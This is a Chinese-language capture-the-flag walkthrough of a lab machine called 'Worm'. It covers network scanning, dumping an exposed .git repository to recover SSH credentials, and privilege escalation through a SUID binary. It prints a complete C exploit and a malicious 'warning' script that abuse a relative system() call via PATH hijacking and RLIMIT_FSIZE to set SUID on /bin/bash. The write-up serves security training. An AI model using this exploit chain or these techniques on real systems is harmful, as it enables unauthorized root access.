信息收集 1 2 3 4 5 6 7 ┌──(root㉿kali)-[~] └─# arp-scan -l | grep PCS 192.168.31.161 08:00:27:22:4e:e3 PCS Systemtechnik GmbH ┌──(root㉿kali)-[~] └─# IP=192.168.31.161
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ┌──(root㉿kali)-[~] └─# nmap -sV -sC -A $IP -Pn Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 03:36 EST Nmap scan report for Worm (192.168.31.161) Host is up (0.0012s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) | http-git: | 192.168.31.161:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: 4 |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:22:4E:E3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.24 ms Worm (192.168.31.161) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds
.git 泄露 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 python git_dumper.py http://192 .168 .31 .161 /.git/ ./worm [-] Testing http://192 .168 .31 .161 /.git/HEAD [200 ] [-] Testing http://192 .168 .31 .161 /.git/ [200 ] [-] Fetching .git recursively [-] Fetching http://192 .168 .31 .161 /.git/ [200 ] [-] Fetching http://192 .168 .31 .161 /.gitignore [404 ] [-] http://192 .168 .31 .161 /.gitignore responded with status code 404 [-] Fetching http://192 .168 .31 .161 /.git/config [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/index [200 ] [-] Fetching http://192 .168 .31 .161 /.git/HEAD [200 ] [-] Fetching http://192 .168 .31 .161 /.git/info/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/branches/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/description [200 ] [-] Fetching http://192 .168 .31 .161 /.git/COMMIT_EDITMSG [200 ] [-] Fetching http://192 .168 .31 .161 /.git/logs/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/refs/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/fsmonitor-watchman.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/post-update.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/pre-merge-commit.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/pre-commit.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/pre-push.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/pre-receive.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/pre-applypatch.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/prepare-commit-msg.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/commit-msg.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/push-to-checkout.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/update.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/info/exclude [200 ] [-] Fetching http://192 .168 .31 .161 /.git/logs/HEAD [200 ] [-] Fetching http://192 .168 .31 .161 /.git/logs/refs/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/refs/heads/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/refs/tags/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/applypatch-msg.sample [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/03 / [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/8 b/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/1 e/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/52 / [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/b2/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/c6/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/ce/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/info/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/e9/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/pack/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/logs/refs/heads/ [200 ] [-] Fetching http://192 .168 .31 .161 /.git/refs/heads/master [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/8 b/25 a83d02aa6707f75d8fa7721ae4a999010ded [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/1 e/0 f35c5f74fa99bfff05187488e76bc6c072db6 [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/03 /5 a8ed549d7759749e3795e6234b0850133cd9e [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/03 /b069b6beb2eec425651cfc69602d3dc45c49c7 [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/52 /8240 ae24a5db58dc12a128a8a0a3de50572174 [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/ce/0 df0104ba2e23e9a749aab4622b342104934de [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/b2/0 ebc0e54047f39e739f50e21837b154cd4c6b9 [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/c6/2011 ddce452510565029bc4d4a412c2650dce6 [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/c6/2888 da183b18a51c52bbfdad3d448fe2da2a86 [200 ] [-] Fetching http://192 .168 .31 .161 /.git/objects/e9/a18ec87eb40be80165cb27cce8bd0b7ba88f0b [200 ] [-] Fetching http://192 .168 .31 .161 /.git/logs/refs/heads/master [200 ] [-] Fetching http://192 .168 .31 .161 /.git/hooks/pre-rebase.sample [200 ] [-] Sanitizing .git/config [-] Running git checkout . Updated 2 paths from the index
在第二次 git 提交的 creds.txt 找到:
1 2 june mTdwC2mn94UlBr31y56t
ssh 连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ┌──(root㉿kali)-[~] └─# ssh june@$IP june@192.168.31.161's password: mTdwC2mn94UlBr31y56t Linux Worm 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jan 21 04:07:47 2026 from 192.168.31.58 june@Worm:~$ id uid=1000(june) gid=1000(june) groups=1000(june) june@Worm:~$ cat user.txt flag{user-e1c65e4d4ef5f4834934b51fa7aa7d71}
提权 检查 SUID
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 june@Worm:~$ find / -perm -u=s -type f 2>/dev/null /usr/bin/chsh /usr/bin/chfn /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/mount /usr/bin/su /usr/bin/umount /usr/bin/pkexec /usr/bin/sudo /usr/bin/passwd /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/libexec/polkit-agent-helper-1 /opt/write
/opt/write 可疑
1 2 3 4 5 june@Worm:~$ ls -la /opt/ total 28 drwxr-xr-x 2 root root 4096 Jan 21 04:39 . drwxr-xr-x 18 root root 4096 Mar 18 2025 .. -rwsr-sr-x 1 root root 17104 Jan 20 09:47 write
拿出来逆向分析
无壳,C 写的,估计是个 pwn 题,先看看 main 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int __fastcall main (int argc, const char **argv, const char **envp) { size_t n; int fd; char *s; if ( argc != 2 ) { fprintf (stderr , "Usage: %s \"message to write\"\n" , *argv); exit (1 ); } s = (char *)argv[1 ]; if ( setuid(0 ) < 0 ) { perror("setuid(0) failed" ); exit (1 ); } fd = open("/opt/welcome.txt" , 577 , 420 ); if ( fd < 0 ) { perror("Failed to open /opt/welcome.txt" ); if ( setuid(0 ) < 0 ) { perror("setuid(0) failed before calling warning" ); exit (1 ); } system("warning" ); exit (1 ); } n = strlen (s); if ( write(fd, s, n) < 0 ) { perror("Failed to write to file" ); close(fd); if ( setuid(0 ) < 0 ) { perror("setuid(0) failed before calling warning" ); exit (1 ); } system("warning" ); exit (1 ); } close(fd); puts ("Message successfully written to /opt/welcome.txt" ); return 0 ; }
程序存在两个关键问题,组合后可导致提权:
1 2 3 4 5 size_t n = strlen (argv[1 ]);if (write(fd, argv[1 ], n) < 0 ) { system("warning" ); exit (1 ); }
不安全的 system() 调用 : 在错误处理分支中,程序调用了 system("warning")。由于使用了相对路径(没有 /),system 函数会在环境变量 PATH 指定的目录中查找名为 warning 的可执行文件,因此可以通过修改 PATH 环境变量来劫持执行流。
错误处理逻辑可达性 : 漏洞代码位于 if (write(...) < 0) 分支中。正常情况下 root 权限的进程写入 /opt/welcome.txt 几乎总是成功的。我们需要在不破坏程序启动的前提下让 write 函数失败。
可以利用 Linux 的资源限制机制进入漏洞分支,Linux 允许通过 setrlimit 系统调用限制进程可以使用的资源。其中 RLIMIT_FSIZE 用于限制进程可以创建的最大文件大小(以字节为单位)。
攻击策略如下:
设置文件大小限制为 0 :在父进程中将 RLIMIT_FSIZE 设置为 0。
忽略 SIGXFSZ 信号 :默认情况下,当进程试图写入超过限制的数据时,内核会发送 SIGXFSZ 信号杀死进程。我们需要忽略该信号,迫使 write 函数返回 -1 (错误码 EFBIG) 而不是导致程序崩溃。
劫持 PATH :将当前目录 . 添加到环境变量 PATH 的最前面。
执行目标程序 :通过 execve 调用 /opt/write。子进程会继承父进程的资源限制和信号处理设置。
先准备一个名为 warning 的恶意脚本,当漏洞触发时它将被 root 执行,我们的目标是给 /bin/bash 添加 SUID 权限,以便后续随时获取 root shell
1 2 3 4 cd /tmpecho '#!/bin/bash' > warningecho 'chmod u+s /bin/bash' >> warningchmod +x warning
用 C 编写 exp 实现“设置资源限制 -> 设置环境变量 -> 执行目标”的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <sys/resource.h> int main () { signal(SIGXFSZ, SIG_IGN); struct rlimit lim ; lim.rlim_cur = 0 ; lim.rlim_max = 0 ; if (setrlimit(RLIMIT_FSIZE, &lim) != 0 ) { perror("setrlimit failed" ); exit (1 ); } char *envp[] = {"PATH=.:/usr/bin:/bin" , NULL }; char *argv[] = {"/opt/write" , "pwn" , NULL }; printf ("[*] Launching attack: RLIMIT_FSIZE=0, PATH=.\n" ); execve("/opt/write" , argv, envp); perror("execve failed" ); return 1 ; }
编译并运行
检查 /bin/bash 是否成功被修改:
1 2 june@Worm:/tmp$ ls -la /bin/bash -rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
使用 -p 参数启动 shell 维持 root 权限:
1 2 3 4 5 june@Worm:/tmp$ /bin/bash -p bash-5.0# id uid=1000(june) gid=1000(june) euid=0(root) groups =1000(june) bash-5.0# cat /root/root.txt flag{root-415fd5c8fdc9e94be02839e3afd69720}